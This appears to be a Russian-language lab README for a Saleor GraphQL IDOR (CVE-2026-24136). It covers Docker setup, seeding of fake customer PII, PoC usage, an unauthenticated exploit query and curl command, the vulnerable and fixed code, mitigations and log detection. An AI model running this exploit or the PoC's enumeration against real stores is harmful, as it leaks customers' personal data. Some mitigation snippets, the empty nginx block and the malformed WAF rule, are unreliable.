
CVE-2026-24136 | Лаборатория по эксплуатации уязвимости IDOR в Saleor GraphQL - запрос order() не проверяет аутентификацию, раскрывая все PII (электронная почта, адрес, телефон) клиентов. Включает среду Docker, скрипт начальных данных и PoC. CVSS 4.0: 8.7 HIGH.
| Поле | Детали |
|---|
| CVE ID | CVE-2026-24136 |
| Тип уязвимости | IDOR - Authorization Bypass Through User-Controlled Key (CWE-639) |
| Программное обеспечение | Saleor e-commerce platform |
| Затронутые версии | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| Исправленные версии | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| Воздействие | Неавторизованный злоумышленник может прочитать PII (имя, адрес, телефон, email) любого заказа |
| Требуется аутентификация? | Нет |
Saleor предоставляет GraphQL API для управления заказами в электронной коммерции. Запрос order(id: $id) позволяет получить детальную информацию о заказе по его глобальному идентификатору. В затронутых версиях этот запрос не проверяет, имеет ли вызывающий право просматривать данный заказ.
Любой, даже полностью анонимный пользователь без аккаунта, может выполнить этот запрос и получить все PII клиента: email, ФИО, адрес доставки, номер телефона, историю входов.
cve-2026-24136-lab/
├── docker-compose.yml # Среда лаборатории (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Скрипт автоматического запуска (Windows PowerShell)
├── setup_lab.sh # Скрипт автоматического запуска (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Обёртка запуска: исправление бага wsgi + gunicorn
├── seed_data.py # Создание аккаунтов жертв и заказов с PII
└── poc_cve_2026_24136.py # PoC эксплуатации
pip install requests# Установка политики выполнения при необходимости
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Запуск автоматической настройки
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. Запуск контейнеров
docker compose up -d
# 2. Ожидание готовности API (~60-90 секунд)
# Проверка: curl http://localhost:8000/health/
# 3. Создание учётной записи администратора
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. Заполнение товаров/каналов
docker exec cve_saleor_api python manage.py populatedb
# 5. Создание данных жертвы (аккаунты + заказы с PII)
cd scripts
pip install requests
python seed_data.py
Эндпоинты после запуска:
| Сервис | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| Администратор | [email protected] / admin |
cd scripts
# Просмотр технического объяснения
python poc_cve_2026_24136.py explain
# Эксплуатация из seed-списка (РЕКОМЕНДУЕТСЯ - Saleor 3.x использует UUID ID)
python poc_cve_2026_24136.py file order_ids.json
# Эксплуатация одного заказа по прямому base64 глобальному ID
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Последовательный перебор (работает только с Saleor < 3.x, использующим integer ID)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# Изменение целевого API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# Сохранение результатов в JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
Saleor использует "Global Object Identification" в соответствии со спецификацией Relay GraphQL. Каждый объект идентифицируется глобальным ID вида:
base64("<TypeName>:<internal_id>")
Для заказов в Saleor 3.x:
# internal_id — UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
Примечание: Saleor 2.x использует целочисленные последовательные ID (
Order:1,Order:2, ...), поэтому их легче перебирать.
Saleor 3.x перешёл на UUID, поэтому злоумышленнику нужно получить UUID другим способом (письмо с подтверждением заказа, утечка URL и т.д.).
Файл: saleor/graphql/order/resolvers.py
# УЯЗВИМАЯ ВЕРСИЯ (до исправления)
def resolve_order(root, info, id):
"""Resolve order by ID – нет никакой проверки авторизации."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Любой вызывающий получает данные, без проверки пользователя, без проверки сессии
Файл: saleor/graphql/order/schema.py
# Определение запроса, без объявления разрешений
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Нет @permission_required, нет никаких защит
Отправляемый запрос не содержит заголовка Authorization:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# Отправка через curl, токен не требуется
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Ответ (без аутентификации):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}
Attacker (anonymous) Saleor GraphQL API
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (NO Authorization header) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "[email protected]", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
Файл: saleor/graphql/order/resolvers.py
# ИСПРАВЛЕННАЯ ВЕРСИЯ (>= 3.20.110)
def resolve_order(root, info, id):
"""Resolve order by ID с полной проверкой авторизации."""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# Guard 1: Сотрудники и приложения могут просматривать любые заказы
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# Guard 2: Неаутентифицированный пользователь → возвращаем None (без ошибки, чтобы не раскрывать существование)
if not info.context.user or not info.context.user.is_authenticated:
return None
# Guard 3: Аутентифицированный пользователь может видеть только свои заказы
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"You don't have permission to access this order."
)
return order
Файл: saleor/graphql/order/schema.py
# Добавлена аннотация для документирования требования разрешений
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Look up an order by ID. "
"Requires authentication. Staff users can access all orders. "
"Regular users can only access their own orders."
),
id=graphene.Argument(graphene.ID, required=True),
)
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Без заголовка Authorization)
─────────────────────────────────────────────
ДО ИСПРАВЛЕНИЯ (≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "[email protected]"}}}
→ PII раскрыто
─────────────────────────────────────────────
ПОСЛЕ ИСПРАВЛЕНИЯ (≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ Возвращается null, без ошибки (намеренно – чтобы злоумышленник
не мог определить, существует ли заказ)
─────────────────────────────────────────────
null вместо ошибки?Возврат null вместо PermissionDenied для неаутентифицированных запросов — осознанное проектное решение:
PermissionDenied → злоумышленник узнает, что заказ существует (оракул существования)null → злоумышленник не может отличить «нет прав» от «не существует»Это техника проверки существования, устойчивой к временным атакам, применяемая на уровне GraphQL.
raise PermissionDenied?Потому что после входа в систему явная ошибка помогает отладке. Оракул существования перестаёт быть проблемой, так как:
Integer IDs (Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ Требуется O(N) запросов для перебора N заказов
→ Злоумышленник может узнать общее количество заказов (бинарным поиском)
UUID IDs (Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ Пространство поиска: 2^122 (UUID v4 имеет 122 случайных бита)
→ Полный перебор практически невозможен
→ Но ID всё равно могут быть раскрыты через: письмо с подтверждением заказа, URL в панели управления,
ответы API, журналы → если злоумышленник получит хотя бы один ID, эксплуатация возможна
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – Attack Vector: Network (эксплуатация через интернет)
AC:L – Attack Complexity: Low (не требует особых условий)
PR:N – Privileges Required: None (не требуется учётная запись)
UI:N – User Interaction: None (не требуется взаимодействие жертвы)
S:U – Scope: Unchanged (затрагивает только Saleor API)
C:H – Confidentiality: High (раскрываются все PII)
I:N – Integrity: None (данные нельзя изменить)
A:N – Availability: None (нет отказа в обслуживании)
# Проверка текущей версии
pip show saleor | grep Version
# Обновление до исправленной версии
pip install "saleor>=3.20.110" # если используется ветка 3.20.x
pip install "saleor>=3.21.45" # если используется ветка 3.21.x
pip install "saleor>=3.22.29" # если используется ветка 3.22.x
Блокировка анонимных пользователей, вызывающих запрос order():
# Nginx – блокировка GraphQL запроса order от неаутентифицированных запросов
location /graphql/ {
# Если нет заголовка Authorization и тело содержит "order("
if ($http_authorization = "") {
# Блокировка запросов с признаками эксплуатации
# Примечание: это временное решение, не заменяет исправление
}
proxy_pass http://saleor_api;
}
Для AWS WAF / CloudFront:
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
# Ограничение запросов с одного IP без аутентификации
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
Признаки эксплуатации в журналах доступа:
# Обнаружение: один IP отправляет много GraphQL-запросов без заголовка Authorization
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # Оповещение, если > 20 запросов с одного IP
# Обнаружение шаблона "order" в теле запроса без аутентификации
# (требуется журналирование тела JSON)
Правило оповещения для Grafana / Datadog:
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "Potential CVE-2026-24136 exploitation attempt"
description: "High rate of unauthenticated GraphQL POST requests"
# Остановка и удаление контейнеров + томов (удаление всех данных)
docker compose down -v
# Только остановка контейнеров (сохранение данных)
docker compose stop
Предупреждение: Данная лаборатория предназначена исключительно для исследовательских целей, обучения и написания отчётов по безопасности.
Не используйте PoC в реальных системах без письменного разрешения.